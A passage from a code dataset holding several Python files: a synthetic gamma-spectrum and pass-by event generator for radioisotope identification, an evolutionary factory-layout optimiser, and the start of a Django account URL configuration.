\"uniform\",\n live_time_function_args=(0.25, 8.0), snr_function: str = \"uniform\",\n snr_function_args=(0.01, 100.0), mixture_size: int = 1,\n mixture_min_contribution: float = 0.1, random_state: int = None):\n \"\"\"Constructs a synthetic gamma spectra generator.\n\n Arguments:\n seeds: the known distributions of counts across all channels such\n that all channels sum to 1. Must contain one seed labeled \"background.\"\n purpose: the intended use of the SampleSet. Recommended values: \"train\" or \"test\".\n \"seed\" is not a valid purpose for SampleSets generated by this class.\n samples_per_seed: the number of synthetic samples to randomly generate per seed.\n background_cps: the constant rate of gammas from background.\n background_n_cps: the constant rate of neutrons from background.\n subtract_background: if True, generated spectra are foreground-only.\n If False, generated spectra are gross spectra (foreground + background).\n live_time_function: the method of sampling for target live time values.\n Options: uniform; log10; discrete; list.\n live_time_function_args: the range of values which are sampled in the fashion\n specified by the `live_time_function` argument.\n snr_function: the method of sampling for target signal-to-noise ratio values.\n Options: uniform; log10; discrete; list.\n snr_function_args: the range of values which are sampled in the fashion\n specified by the `snr_function` argument.\n mixture_size: the number of seeds to mix together.\n mixture_min_contribution: the minimum ratio of counts that a seed must contribute.\n random_state: the random seed value used to reproduce specific data sets.\n \"\"\"\n self.seeds = seeds\n self.purpose = purpose\n self.detector = seeds.detector\n self.samples_per_seed = samples_per_seed\n self.background_cps = background_cps\n self.background_n_cps = background_n_cps\n self.subtract_background = subtract_background\n self.live_time_function = live_time_function\n self.live_time_function_args = live_time_function_args\n self.snr_function = snr_function\n self.snr_function_args = snr_function_args\n self.mixture_size = mixture_size\n self.mixture_min_contribution = mixture_min_contribution\n self.random_state = random_state\n\n def __str__(self):\n output = \"SyntheticGenerationConfig()\\n\"\n for k, v in sorted(vars(self).items()):\n output += \" {}: {}\\n\".format(k, str(v))\n return output[:-1]\n\n def __getitem__(self, key):\n item = getattr(self, key)\n return item\n\n def __setitem__(self, key, value):\n setattr(self, key, value)\n\n def _get_distribution_values(self, function: str, function_args, n_values: int):\n if function not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(function))\n\n if function == \"uniform\":\n value = np.random.uniform(*function_args, size=n_values)\n elif function == \"log10\":\n log10_args = tuple(map(np.log10, function_args))\n value = np.power(10, np.random.uniform(*log10_args, size=n_values))\n elif function == \"discrete\":\n value = np.random.choice(function_args, size=n_values)\n elif function == \"list\":\n value = function_args\n\n return value\n\n def _get_live_time_targets(self, n_samples: int) -> list:\n \"\"\"Obtains a list of random SNR target values.\"\"\"\n return self._get_distribution_values(\n self.live_time_function,\n self.live_time_function_args,\n n_samples\n )\n\n def _get_snr_targets(self, n_samples: int) -> list:\n \"\"\"Obtains a list of random SNR target values.\"\"\"\n return self._get_distribution_values(\n self.snr_function,\n self.snr_function_args,\n n_samples\n )\n\n def _generate_mixture_seeds(self, fg_seeds, n_samples, n_per_gamma_rates):\n \"\"\"Randomly mixes the given foreground seeds into new \"mixture seeds\".\n \"\"\"\n mix_size = self.mixture_size\n mix_min = self.mixture_min_contribution\n mix_max = 1 - (mix_min * (mix_size - 1))\n MIX_TRIM = 1e-8\n n_seeds = fg_seeds.n_samples\n n_channels = fg_seeds.n_channels\n\n mix_indices = np.random.rand(n_samples, n_seeds).argsort(axis=1)[:, :mix_size]\n mix_ratios = np.random.rand(n_samples, mix_size).clip(mix_min+MIX_TRIM, mix_max-MIX_TRIM)\n mix_ratios = mix_ratios / mix_ratios.sum(axis=1)[:, None]\n while (mix_ratios < mix_min).sum():\n mix_ratios = mix_ratios.clip(mix_min+MIX_TRIM, mix_max-MIX_TRIM)\n mix_ratios = mix_ratios / mix_ratios.sum(axis=1)[:, None]\n mix_ratios.sort()\n\n source_matrix = np.zeros([n_samples, n_seeds])\n seed_combined = np.zeros([n_samples, n_channels])\n n_per_g_rate_combined = np.zeros(n_samples)\n for i, (seed, n_per_g_rate) in enumerate(zip(fg_seeds.spectra.values, n_per_gamma_rates)):\n seed = seed.clip(0)\n seed = seed / seed.sum()\n where = (mix_indices == i).astype(bool)\n rows = where.sum(axis=1).astype(bool)\n how_much = mix_ratios[where]\n n_per_g_source = how_much * n_per_g_rate\n contrib = seed * how_much[:, None]\n seed_combined[rows, :] += contrib\n source_matrix[rows, i] = how_much\n n_per_g_rate_combined[rows] += n_per_g_source\n n_per_g_rate_combined[np.isnan(n_per_g_rate_combined)] = 0\n\n return seed_combined, source_matrix, n_per_g_rate_combined\n\n def generate(self, verbose=0):\n \"\"\"Generate a sample set of gamma spectra from the given config.\n\n Args:\n verbose: determines the verbosity of status messages.\n\n Returns:\n A SampleSet of synthetic gamma spectra.\n\n Raises:\n Exception: raised when the config is invalid.\n EmptySampleSetError: raised when the provided SampleSet is empty.\n \"\"\"\n if self.random_state:\n random.seed(self.random_state)\n np.random.seed(self.random_state)\n\n isotope_seeds = self.seeds.get_indices(self.seeds.labels != \"background\")\n if \"total_neutron_counts\" in self.seeds.collection_information.columns:\n n_per_gamma_rates = self.seeds.collection_information.total_neutron_counts.values / \\\n self.seeds.collection_information.fg_counts.values\n else:\n n_per_gamma_rates = np.zeros(isotope_seeds.n_samples)\n\n isotopes = isotope_seeds.labels\n background_seed = self.seeds.get_indices(self.seeds.labels == \"background\")\n first_only = np.full(background_seed.n_samples, False)\n first_only[0] = True\n background_seed = background_seed.get_indices(first_only)\n background_spectrum = background_seed.spectra.iloc[0, :].values\n background_spectrum_clipped = background_spectrum.clip(0)\n background_pdf = background_spectrum_clipped / background_spectrum_clipped.sum()\n n_samples = self.samples_per_seed * isotope_seeds.n_samples\n\n # Generate samples for each isotope seed\n lt_targets = self._get_live_time_targets(n_samples)\n snr_targets = self._get_snr_targets(n_samples)\n\n bg_counts_expected = lt_targets * self.background_cps\n fg_counts_expected = snr_targets * bg_counts_expected\n total_counts_expected = bg_counts_expected + fg_counts_expected\n fg_contrib = fg_counts_expected / total_counts_expected\n bg_contrib = bg_counts_expected / total_counts_expected\n\n seed_combined, source_matrix, n_per_gamma_rate_combined = self._generate_mixture_seeds(\n isotope_seeds,\n n_samples,\n n_per_gamma_rates\n )\n seed_combined = fg_contrib[:, None] * seed_combined\n seed_combined += bg_contrib[:, None] * background_seed.spectra.values[0, :]\n\n lam = seed_combined * total_counts_expected[:, None]\n gross_spectra = np.random.poisson(lam)\n total_counts = gross_spectra.sum(axis=1)\n\n bg_neutron_counts_expected = lt_targets * self.background_n_cps\n total_neutron_counts = np.random.poisson(\n total_counts * n_per_gamma_rate_combined + bg_neutron_counts_expected\n )\n excess_from_expected = total_counts - bg_counts_expected\n snr_estimates = excess_from_expected / bg_counts_expected\n sigmas = excess_from_expected / np.sqrt(bg_counts_expected)\n\n sources = pd.DataFrame(columns=isotopes, data=source_matrix)\n if self.mixture_size > 1:\n sources[\"label\"] = \"mixture\"\n else:\n sources[\"label\"] = [isotopes[i] for i in source_matrix.argmax(axis=1)]\n ecal = self.seeds.ecal_factors[:, 0]\n info = pd.DataFrame.from_dict({\n \"live_time\": lt_targets,\n \"snr_target\": snr_targets,\n \"snr_estimate\": snr_estimates,\n \"bg_counts_expected\": bg_counts_expected,\n \"fg_counts_expected\": fg_counts_expected,\n \"total_counts\": total_counts,\n \"sigma\": sigmas,\n \"ecal_order_0\": np.full(n_samples, ecal[0]),\n \"ecal_order_1\": np.full(n_samples, ecal[1]),\n \"ecal_order_2\": np.full(n_samples, ecal[2]),\n \"ecal_order_3\": np.full(n_samples, ecal[3]),\n \"ecal_low_e\": np.full(n_samples, ecal[4]),\n \"real_time\": lt_targets,\n \"occupancy_flag\": np.full(n_samples, 0),\n \"total_neutron_counts\": total_neutron_counts,\n \"tag\": np.full(n_samples, \" \"),\n \"date-time\": np.full(n_samples, datetime.datetime.now().strftime(\"%d-%b-%Y %H:%M:%S.00\")),\n \"descr\": np.full(n_samples, None),\n })\n info.iloc[:, :15] = info.iloc[:, :15].astype(float)\n\n if self.subtract_background:\n spectra = gross_spectra - background_pdf[None, :] * \\\n bg_counts_expected[:, None]\n else:\n spectra = gross_spectra\n\n ss = SampleSet(\n spectra=pd.DataFrame(spectra),\n collection_information=info,\n sources=sources\n )\n ss.purpose = self.purpose\n ss.measured_or_synthetic = \"synthetic\"\n ss.detector = self.detector\n ss.energy_bin_centers = ss._get_energy_centers()\n if self.mixture_size == 1:\n ss.relabel_to_max_source()\n\n return ss\n\n @property\n def seeds(self) -> SampleSet:\n \"\"\"\n A SampleSet of non-poisson sampled gamma spectra representing the perfect responses given\n by a specific detector when observing a an isotope for an \"sufficiently large\" live time.\n Each seed generally represents a single source of radiation, such as K40, Th232, Ba133,\n Y88, etc., however other seeds which incorporate sources + shielding are perfectly valid.\n \"\"\"\n return self._seeds\n\n @seeds.setter\n def seeds(self, value: SampleSet):\n if \"background\" not in value.labels:\n raise ValueError(\"A seed with the label 'background' must be provided.\")\n self._seeds = value\n\n @property\n def purpose(self) -> str:\n \"\"\"\n The intended purpose of the SampleSet being generated.\n Used to determine where in the data directory to auto-cache the sample set.\n \"\"\"\n return self._purpose\n\n @purpose.setter\n def purpose(self, value: str):\n if value not in self._supported_purposes:\n msg = \"Invalid purpose. Supported purposes are: {}\".format(self._supported_purposes)\n raise ValueError(msg)\n self._purpose = value\n\n @property\n def detector(self) -> str:\n \"\"\"\n The unique name of the physical detector associated with the provided seeds.\n Used to determine where in the data directory to auto-cache the sample set.\n \"\"\"\n return self._detector\n\n @detector.setter\n def detector(self, value: str):\n self._detector = value\n\n @property\n def samples_per_seed(self):\n \"\"\"The number of samples to create per seed (excluding the background seed).\"\"\"\n return self._samples_per_seed\n\n @samples_per_seed.setter\n def samples_per_seed(self, value: int):\n if not isinstance(value, int):\n raise TypeError(\"Property 'samples_per_seed' key must be of type 'int'!\")\n\n self._samples_per_seed = value\n\n @property\n def background_cps(self) -> float:\n \"\"\"Specifies the counts per second contributed by background radiation.\"\"\"\n return self._background_cps\n\n @background_cps.setter\n def background_cps(self, value: float):\n self._background_cps = value\n\n @property\n def background_n_cps(self) -> float:\n \"\"\"\n The neutron rate from background.\n \"\"\"\n return self._background_n_cps\n\n @background_n_cps.setter\n def background_n_cps(self, value: float):\n self._background_n_cps = value\n\n @property\n def subtract_background(self) -> bool:\n \"\"\"Specifies whether or not to include counts from background in the final spectra.\"\"\"\n return self._subtract_background\n\n @subtract_background.setter\n def subtract_background(self, value: bool):\n self._subtract_background = value\n\n @property\n def live_time_function(self) -> str:\n \"\"\"The function used to randomly sample the desired live time space.\"\"\"\n return self._live_time_function\n\n @live_time_function.setter\n def live_time_function(self, value: str):\n if value not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(value))\n self._live_time_function = value\n\n @property\n def live_time_function_args(self) -> tuple:\n \"\"\"The live time space to be randomly sampled.\"\"\"\n return self._live_time_function_args\n\n @live_time_function_args.setter\n def live_time_function_args(self, value):\n self._live_time_function_args = value\n\n @property\n def snr_function(self) -> str:\n \"\"\"The function used to randomly sample the desired signal-to-noise (SNR) ratio space.\"\"\"\n return self._snr_function\n\n @snr_function.setter\n def snr_function(self, value: str):\n if value not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(value))\n self._snr_function = value\n\n @property\n def snr_function_args(self) -> tuple:\n \"\"\"The signal-to-noise (SNR) space to be randomly sampled.\"\"\"\n return self._snr_function_args\n\n @snr_function_args.setter\n def snr_function_args(self, value):\n self._snr_function_args = value\n\n @property\n def mixture_size(self) -> int:\n \"\"\"The number of seeds to be used to generate a spectrum's foreground.\"\"\"\n return self._mixture_size\n\n @mixture_size.setter\n def mixture_size(self, value: int):\n self._mixture_size = value\n\n @property\n def mixture_min_contribution(self) -> float:\n \"\"\"\n The minimum percentage that a seed can contribute to a multi-isotope spectrum's total\n foreground counts.\n \"\"\"\n return self._mixture_min_contribution\n\n @mixture_min_contribution.setter\n def mixture_min_contribution(self, value: float):\n self._mixture_min_contribution = value\n\n @property\n def random_state(self) -> int:\n \"\"\"\n The seed for the random number generator.\n Used when trying to make reproducible SampleSets.\n \"\"\"\n return self._random_state\n\n @random_state.setter\n def random_state(self, value: int):\n self._random_state = value\n\n\nclass PassbySynthesizer():\n \"\"\"Creates synthetic pass-by events as sequences of gamma spectra.\"\"\"\n _supported_functions = [\"uniform\", \"log10\", \"discrete\", \"list\"]\n\n def __init__(self, seeds: SampleSet, events_per_seed: int = 2, sample_interval: float = 0.125,\n background_cps: float = 300.0, subtract_background: bool = True,\n dwell_time_function: str = \"uniform\", dwell_time_function_args=(0.25, 8.0),\n fwhm_function: str = \"discrete\", fwhm_function_args=(1,),\n snr_function: str = \"uniform\", snr_function_args=(1.0, 10.0),\n min_fraction: float = 0.005, random_state: int = None):\n \"\"\"Constructs a synthetic passy-by generator.\n\n Arguments:\n seeds: the known distributions of counts across all channels such\n that all channels sum to 1. Must contain one seed labeled \"background.\"\n events_per_seed: the number of events to create per seed.\n sample_interval: the live time of each sampled spectrum comprising the\n entire pass-by event.\n background_cps: the constant rate of gammas from background.\n subtract_background: if True, generated spectra are foreground-only.\n If False, generated spectra are gross spectra (foreground + background).\n dwell_time_function: the method of sampling for target background only time\n to occur after sample pass-by.\n Options: uniform; log10; discrete; list.\n dwell_time_function_args: the range of values which are sampled in the fashion\n specified by the `dwell_time_function` argument.\n fwhm_function: the method of sampling for target full width at half maximum\n for the pass-by event.\n Options: uniform; log10; discrete; list.\n fwhm_function_args: the range of values which are sampled in the fashion\n specified by the `fwhm_function` argument.\n snr_function: the method of sampling for target signal-to-noise ratio values.\n Options: uniform; log10; discrete; list.\n snr_function_args: the range of values which are sampled in the fashion\n specified by the `snr_function` argument.\n min_fraction: the SNR threshold, defined as the percentage of the peak, that\n signifies the beginning and end of the pass-by.\n random_state: the random seed value used to reproduce specific data sets.\n \"\"\"\n self.seeds = seeds\n self.detector = seeds.detector\n self.events_per_seed = events_per_seed\n self.sample_interval = sample_interval\n self.background_cps = background_cps\n self.subtract_background = subtract_background\n self.dwell_time_function = dwell_time_function\n self.dwell_time_function_args = dwell_time_function_args\n self.fwhm_function = fwhm_function\n self.fwhm_function_args = fwhm_function_args\n self.snr_function = snr_function\n self.snr_function_args = snr_function_args\n self.min_fraction = min_fraction\n self.random_state = random_state\n\n def __str__(self):\n output = \"SyntheticGenerationConfig()\"\n for k, v in sorted(vars(self).items()):\n output += \" {}: {}\".format(k, str(v))\n return output\n\n def __getitem__(self, key):\n item = getattr(self, key)\n return item\n\n def __setitem__(self, key, value):\n setattr(self, key, value)\n\n def _get_distribution_values(self, function: str, function_args, n_values: int):\n if function not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(function))\n\n if function == \"uniform\":\n value = np.random.uniform(*function_args, size=n_values)\n elif function == \"log10\":\n log10_args = tuple(map(np.log10, function_args))\n value = np.power(10, np.random.uniform(*log10_args, size=n_values))\n elif function == \"discrete\":\n value = np.random.choice(function_args, size=n_values)\n elif function == \"list\":\n value = function_args\n\n return value\n\n def _get_dwell_time_targets(self, n_samples) -> list:\n \"\"\"Obtains a list of random dwell time target values.\"\"\"\n return self._get_distribution_values(\n self.dwell_time_function,\n self.dwell_time_function_args,\n n_samples\n )\n\n def _get_fwhm_targets(self, n_samples) -> list:\n \"\"\"Obtains a list of random full-width-half-max (FWHM) target values.\"\"\"\n return self._get_distribution_values(\n self.fwhm_function,\n self.fwhm_function_args,\n n_samples\n )\n\n def _get_snr_targets(self, n_samples) -> list:\n \"\"\"Obtains a list of random SNR target values.\"\"\"\n return self._get_distribution_values(\n self.snr_function,\n self.snr_function_args,\n n_samples\n )\n\n def _calculate_passby_shape(self, fwhm):\n \"\"\"Returns a pass-by shape with maximum of 1 which goes from min_fraction to min_fraction of\n signal with specified fwhm.\n \"\"\"\n lim = np.sqrt((1-self.min_fraction)/self.min_fraction)\n samples = np.arange(-lim, lim, self.sample_interval / fwhm / 2)\n return 1 / (np.power(samples, 2) + 1)\n\n def _generate_single_passby(self, fwhm, snr, dwell_time, seed_pdf, background_pdf, source):\n \"\"\"Generates sampleset with a sequence of spectra representative of a single pass-by event.\n \"\"\"\n event_snr_targets = self._calculate_passby_shape(fwhm) * snr\n n_event_spectra = len(event_snr_targets)\n dwell_targets = np.zeros(int(dwell_time / self.sample_interval))\n snr_targets = np.concatenate((event_snr_targets, dwell_targets))\n\n n_samples = len(snr_targets)\n live_times = np.ones(n_samples)\n\n bg_counts_expected = self.background_cps * live_times\n bg_spectra = np.random.poisson(background_pdf * bg_counts_expected[:, None])\n bg_counts = bg_spectra.sum(axis=1)\n\n fg_counts_expected = self.background_cps * snr_targets * live_times\n fg_spectra = np.random.poisson(seed_pdf * fg_counts_expected[:, None])\n fg_counts = fg_spectra.sum(axis=1)\n net_spectra = bg_spectra + fg_spectra\n total_counts = bg_counts + fg_counts\n excess_from_expected = total_counts - bg_counts_expected\n snr_estimates = excess_from_expected / bg_counts_expected\n sigmas = excess_from_expected / np.sqrt(bg_counts_expected)\n\n source_data = np.hstack(\n (np.full([n_samples, 1], 1), np.full([n_samples, 1], source))\n )\n sources = pd.DataFrame(columns=[source, \"label\"], data=source_data)\n\n collection_information = pd.DataFrame(\n data=np.vstack((\n live_times,\n snr_targets,\n snr_estimates,\n bg_counts,\n fg_counts,\n bg_counts_expected,\n total_counts,\n sigmas)\n ).T,\n columns=[\n \"live_time\",\n \"snr_target\",\n \"snr_estimate\",\n \"bg_counts\",\n \"fg_counts\",\n \"bg_counts_expected\",\n \"total_counts\",\n \"sigma\"\n ]\n )\n\n if self.subtract_background:\n spectra = net_spectra - bg_spectra\n else:\n spectra = net_spectra\n comments = {\n \"fwhm\": fwhm,\n \"snr\": snr,\n \"dwell_time\": dwell_time,\n \"event_length\": n_event_spectra,\n \"total_length\": n_samples,\n \"source\": source\n }\n ss = SampleSet(\n spectra=pd.DataFrame(spectra),\n collection_information=collection_information,\n sources=sources,\n comments=comments\n )\n ss.detector = self.detector\n ss.purpose = \"passby\"\n ss.measured_or_synthetic = \"synthetic\"\n ss.energy_bin_centers = ss._get_energy_centers()\n\n return ss\n\n def generate(self, verbose=0):\n \"\"\"Generate a list of sample sets where each represents a pass-by event.\n\n Args:\n verbose: determines the verbosity of status messages.\n\n Returns:\n A list of SampleSets where each SampleSet represents a pass-by event.\n\n Raises:\n None\n \"\"\"\n if self.random_state:\n random.seed(self.random_state)\n np.random.seed(self.random_state)\n\n isotope_seeds = self.seeds.get_indices(self.seeds.labels != \"background\")\n background_seed = self.seeds.get_indices(self.seeds.labels == \"background\")\n bs_indices = np.full(background_seed.n_samples, False)\n bs_indices[0] = True\n background_seed = background_seed.get_indices(bs_indices)\n background_spectrum = background_seed.spectra.iloc[0, :].values\n background_pdf = background_spectrum.clip(0)\n background_pdf = background_pdf / background_pdf.sum()\n\n # Generate samples for each seed\n args = []\n for i, _ in enumerate(isotope_seeds.spectra.index):\n seed_spectrum = isotope_seeds.spectra.iloc[i, :].values\n source = isotope_seeds.labels[i]\n seed_pdf = seed_spectrum.clip(0)\n seed_pdf = np.array(seed_pdf) / seed_pdf.sum()\n n_samples = self.events_per_seed\n if isinstance(self.events_per_seed, dict):\n n_samples = self.events_per_seed[source]\n fwhm_targets = self._get_fwhm_targets(n_samples)\n snr_targets = self._get_snr_targets(n_samples)\n dwell_time_targets = self._get_dwell_time_targets(n_samples)\n for fwhm, snr, dwell in zip(fwhm_targets, snr_targets, dwell_time_targets):\n args.append((fwhm, snr, dwell, seed_pdf, background_pdf, source))\n\n events = [self._generate_single_passby(*a) for a in args]\n return events\n\n @property\n def seeds(self) -> SampleSet:\n \"\"\"\n A SampleSet of non-poisson sampled gamma spectra representing the perfect responses given\n by a specific detector when observing a an isotope for an \"sufficiently large\" live time.\n Each seed generally represents a single source of radiation, such as K40, Th232, Ba133,\n Y88, etc., however other seeds which incorporate sources + shielding are perfectly valid.\n \"\"\"\n return self._seeds\n\n @seeds.setter\n def seeds(self, value: SampleSet):\n if \"background\" not in value.source_types:\n raise ValueError(\"A seed with the label 'background' must be provided.\")\n self._seeds = value\n\n @property\n def detector(self) -> str:\n \"\"\"\n The unique name of the physical detector associated with the provided seeds.\n Used to determine where in the data directory to auto-cache the sample set.\n \"\"\"\n return self._detector\n\n @detector.setter\n def detector(self, value: str):\n self._detector = value\n\n @property\n def sample_interval(self) -> float:\n \"\"\"The sample interval (in seconds) at which the events are simulated.\"\"\"\n return self._sample_interval\n\n @sample_interval.setter\n def sample_interval(self, value: float):\n self._sample_interval = value\n\n @property\n def events_per_seed(self):\n \"\"\"The number of samples to create per seed (excluding the background seed).\"\"\"\n return self._events_per_seed\n\n @events_per_seed.setter\n def events_per_seed(self, value):\n if not isinstance(value, int) and not isinstance(value, dict):\n raise TypeError(\"Property 'events_per_seed' key must be of type 'int' or 'dict'!\")\n\n self._events_per_seed = value\n\n @property\n def background_cps(self) -> float:\n \"\"\"Specifies the counts per second contributed by background radiation.\"\"\"\n return self._background_cps\n\n @background_cps.setter\n def background_cps(self, value: float):\n self._background_cps = value\n\n @property\n def subtract_background(self) -> bool:\n \"\"\"Specifies whether or not to include counts from background in the final spectra.\"\"\"\n return self._subtract_background\n\n @subtract_background.setter\n def subtract_background(self, value: bool):\n self._subtract_background = value\n\n @property\n def dwell_time_function(self) -> str:\n \"\"\"The function used to randomly sample the desired dwell time space.\"\"\"\n return self._dwell_time_function\n\n @dwell_time_function.setter\n def dwell_time_function(self, value: str):\n if value not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(value))\n self._dwell_time_function = value\n\n @property\n def dwell_time_function_args(self) -> tuple:\n \"\"\"The dwell time space to be randomly sampled.\"\"\"\n return self._dwell_time_function_args\n\n @dwell_time_function_args.setter\n def dwell_time_function_args(self, value):\n self._dwell_time_function_args = value\n\n @property\n def fwhm_function(self) -> str:\n \"\"\"The function used to randomly sample the desired full-width-half-max (FWHM) ratio space.\n \"\"\"\n return self._fwhm_function\n\n @fwhm_function.setter\n def fwhm_function(self, value: str):\n if value not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(value))\n self._fwhm_function = value\n\n @property\n def fwhm_function_args(self) -> tuple:\n \"\"\"The full-width-half-max (FWHM) space to be randomly sampled.\"\"\"\n return self._fwhm_function_args\n\n @fwhm_function_args.setter\n def fwhm_function_args(self, value):\n self._fwhm_function_args = value\n\n @property\n def snr_function(self) -> str:\n \"\"\"The function used to randomly sample the desired signal-to-noise (SNR) ratio space.\"\"\"\n return self._snr_function\n\n @snr_function.setter\n def snr_function(self, value: str):\n if value not in self._supported_functions:\n raise ValueError(\"{} is not a valid function.\".format(value))\n self._snr_function = value\n\n @property\n def snr_function_args(self) -> tuple:\n \"\"\"The signal-to-noise (SNR) space to be randomly sampled.\"\"\"\n return self._snr_function_args\n\n @snr_function_args.setter\n def snr_function_args(self, value):\n self._snr_function_args = value\n\n @property\n def min_fraction(self) -> float:\n \"\"\"Specifies the percentage of the peak amplitude to exclude.\"\"\"\n return self._min_fraction\n\n @min_fraction.setter\n def min_fraction(self, value: float):\n self._min_fraction = value\n\n @property\n def random_state(self) -> int:\n \"\"\"\n The seed for the random number generator.\n Used when trying to make reproducible SampleSets.\n \"\"\"\n return self._random_state\n\n @random_state.setter\n def random_state(self, value: int):\n self._random_state = value\n","sub_path":"riid/synthetic.py","file_name":"synthetic.py","file_ext":"py","file_size_in_byte":32207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"326938994","text":"import os\nfrom tkinter import Tk\nfrom Factory import visibilityStatus\nimport sys\nimport constants\nimport json\nfrom multiprocessing import Pool\nfrom WorkstationView import WorkstationView\n\nfrom FactoryGenerator import FactoryGenerator\nfrom ProductsOptimizer import ProductOptimizer\nfrom EvolutionaryOptimizer import EvolutionaryOptimizer\n\nimport tempfile\nimport itertools as IT\n\nimport matplotlib\nmatplotlib.use(\"TkAgg\")\n\n\n# O-----o #\n# O---o #\n# O-o #\n# O #\n# o-O #\n# o---O #\n# o-----O #\n# O-----0 #\n# O---o #\n# O-o #\n# O #\n# o-O #\n# o---O #\n# o-----O #\n# O-----o #\n# O---o #\n# O-o #\n# O #\n# o-O #\n# o---O #\n# o-----O #\n\n\ndef uniquify(path, sep='_'):\n def name_sequence():\n count = IT.count()\n yield ''\n while True:\n nxt = next(count)\n nc = (str(nxt))if (nxt > 9) else ('0' + str(nxt))\n yield '{s}{n}'.format(s=sep, n=nc)\n orig = tempfile._name_sequence\n with tempfile._once_lock:\n tempfile._name_sequence = name_sequence()\n path = os.path.normpath(path)\n dirname, basename = os.path.split(path)\n filename, ext = os.path.splitext(basename)\n fd, filename = tempfile.mkstemp(dir=dirname, prefix=filename, suffix=ext)\n tempfile._name_sequence = orig\n return filename\n\n\ndef optimizePositions(factoryGenerator):\n pool = Pool(None) # Makes a worker thread for every cpu\n\n for cycle in range(constants.EVOLUTION_CYCLES):\n '''Init products list for generation'''\n productsGeneration = productOptimizer.getGeneration() # [[(1,1,\"ABAC\"),..],[(1,1,\"ADC\"),..],..]\n productsGenerationFitness = [0] * constants.LISTS_PER_GENERATION\n\n dataFromMultiprocessing = dataFromMultiprocessing = pool.map(evaluate, map(lambda i: (i, productsGeneration, factoryGenerator), evolutionaryOptimizer.getIndividuals()))\n for dfmIndex in range(len(dataFromMultiprocessing)):\n evolutionaryOptimizer.getIndividuals()[dfmIndex].setFitness(dataFromMultiprocessing[dfmIndex][0])\n for i in range(constants.LISTS_PER_GENERATION):\n productsGenerationFitness[i] += dataFromMultiprocessing[dfmIndex][1][i]\n\n for i in range(constants.LISTS_PER_GENERATION):\n productsGenerationFitness[i] /= constants.POPULATION_SIZE\n productsGeneration[i].setFitness(productsGenerationFitness[i])\n productOptimizer.evaluateGeneration()\n evolutionaryOptimizer.evaluateIndividuals(factoryGenerator)\n\n ''' Draw just Workstations'''\n if constants.DRAW_EVERY_CYCLE:\n if cycle == 0:\n viewRoot = Tk()\n view = WorkstationView(viewRoot, evolutionaryOptimizer.theBest, constants.FIELD_SIZE, constants.FIELD_SIZE)\n viewRoot.geometry(\"1000x600+300+50\")\n else:\n view.nextTimeStep(evolutionaryOptimizer.theBest)\n view.update()\n\n '''See whats going on in the console'''\n percentage = round(cycle / constants.EVOLUTION_CYCLES * 100)\n bar = \"[\" + \"=\" * round(percentage / 2) + \"-\" * round(50 - (percentage / 2)) + \"]\"\n sys.stdout.write(\"Progress: \\r%d%% Done \\t %s \\tFittest right now at a level of %i\" % (percentage, bar, evolutionaryOptimizer.theBest.fitness))\n sys.stdout.flush()\n\n evolutionaryOptimizer.save_best_fitness.append(evolutionaryOptimizer.theBest.fitness)\n the_best_products = productOptimizer.getGeneration()\n\n '''Save Best as JSON to /optimizedSettings'''\n\n '''Show off with best Factory'''\n theBestPositions = evolutionaryOptimizer.theBest.DNA\n # TODO from Products Optimization\n theBestFactory = factoryGenerator.generateFactory(theBestPositions, visibilityStatus.ALL,\n the_best_products[0].DNA)\n theBestFactory.run()\n fieldToPrint = [[\"☐\" for i in range(constants.FIELD_SIZE)] for j in range(constants.FIELD_SIZE)]\n for pos in theBestPositions:\n fieldToPrint[pos[1]][pos[2]] = pos[0]\n sys.stdout.write(\"+\" + \"-\" * (constants.FIELD_SIZE * 3) + \"+\\n\")\n for i in range(constants.FIELD_SIZE):\n sys.stdout.write(\"|\")\n for j in range(constants.FIELD_SIZE):\n sys.stdout.write(\" %s \" % fieldToPrint[i][j])\n sys.stdout.write(\"|\\n\")\n sys.stdout.write(\"+\" + \"-\" * (constants.FIELD_SIZE * 3) + \"+\\n\")\n sys.stdout.flush()\n print(the_best_products[0].DNA)\n\n '''Concat information to single dict'''\n consts = constants.getConstantsDict()\n # TODO add last Generation of evil-products\n # best fitness over cycles\n bestFitness = evolutionaryOptimizer.save_best_fitness\n diversityOfBest = evolutionaryOptimizer.save_diversity_plot\n\n data = {\"constants\": consts,\n \"factorySetting\": theBestPositions,\n \"plotData\": bestFitness,\n \"plotDiversity\": diversityOfBest}\n '''Write result to JSON File'''\n\n path = uniquify('optimizedSettings/factory_run.json')\n with open(path, 'w') as outfile:\n json.dump(data, outfile)\n\n\ndef evaluate(inputTupel):\n individual = inputTupel[0]\n productsGeneration = inputTupel[1]\n factoryGenerator = inputTupel[2]\n productsGenerationFitness = []\n fitness = 0\n for evilProductIndex in range(constants.LISTS_PER_GENERATION):\n # todo Random select productList from productsGeneration\n # print(productsGeneration[evilProductIndex])\n singleFitness = individual.evaluateFitness(factoryGenerator, productsGeneration[evilProductIndex].DNA)\n fitness += singleFitness\n # set product list fitness in productsGenerationFitness\n productsGenerationFitness.append(singleFitness)\n fitness = round(fitness / len(productsGeneration))\n\n return fitness, productsGenerationFitness\n\n\nif __name__ == '__main__':\n with open(constants.WORKSTATION_JSON) as jsonFile:\n workstationsJson = json.load(jsonFile)\n\n factoryGenerator = FactoryGenerator(workstationsJson)\n evolutionaryOptimizer = EvolutionaryOptimizer(factoryGenerator)\n productOptimizer = ProductOptimizer(workstationsJson, factoryGenerator)\n\n optimizePositions(factoryGenerator)\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":6228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"402750703","text":"from django.urls import path\nfrom django.conf.urls import include\nfrom . import views\nfrom django.contrib.auth import views as auth_views\n\napp_name='account'\n\nurlpatterns = [\n path('', views.index, name='index'), #메인\n path('signup/', views.signup, name=\"signup\"), #회원가입 #\n path('logout/', auth_views.logout, name='logout',kwargs={'next_page':'/'}), #로그아웃\n path('info/destroy/', views.myDestroy, name=\"destroy\"), #회원탈퇴 페이지\n path('info/pw/', views.myPasswordUpdate, name=\"my_pw_update\"), #비밀번호 수정 페이지\n path('note/' , views.note, name=\"note\"), #쪽지 보내기\n path('info/',views.myPage, name=\"my_page\"), #회원정보 \n 